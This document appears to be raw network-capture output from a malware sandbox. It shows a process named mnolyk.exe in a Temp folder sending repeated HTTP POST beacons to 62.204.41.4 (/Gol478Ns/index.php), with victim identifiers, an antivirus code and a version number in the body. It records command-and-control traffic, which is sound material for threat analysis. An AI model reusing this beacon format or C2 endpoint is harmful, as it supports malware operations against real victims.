Feb 7, 2023 23:07:04.536338091 CET	116	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.7	49815	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:32.330391884 CET	235	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:32.396243095 CET	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.7	49816	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:32.564007044 CET	236	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:32.628300905 CET	236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.7	49817	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:32.798707962 CET	237	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:32.860562086 CET	237	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.7	49818	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:33.042481899 CET	238	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:33.109855890 CET	238	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.7	49819	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:33.315464973 CET	239	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:33.379378080 CET	239	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.7	49820	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:33.547734976 CET	240	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:33.610548973 CET	240	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.7	49821	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:33.782680988 CET	241	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:33.847265005 CET	241	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.7	49822	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:34.022866011 CET	242	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:34.090245008 CET	242	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.7	49823	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:34.268182993 CET	243	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:34.332073927 CET	243	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.7	49824	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:34.508276939 CET	244	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:34.572290897 CET	244	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.7	49707	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:04.724651098 CET	117	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:04.789779902 CET	117	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.7	49825	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:34.754203081 CET	245	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:34.818792105 CET	245	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.7	49826	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:34.986762047 CET	246	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:35.052656889 CET	246	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.7	49827	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:35.253284931 CET	247	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:35.315601110 CET	247	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.7	49828	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:35.504498005 CET	248	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:35.568485022 CET	248	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.7	49829	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:35.738938093 CET	249	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:35.803982019 CET	249	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.7	49830	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:35.970669031 CET	250	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:36.035929918 CET	250	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.7	49831	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:36.211397886 CET	251	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:36.275892973 CET	251	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.7	49832	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:36.601999998 CET	252	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:36.665698051 CET	252	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.7	49833	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:36.871623993 CET	253	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:36.935492039 CET	253	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.7	49834	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:37.138339043 CET	254	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:37.202564001 CET	254	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.7	49708	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
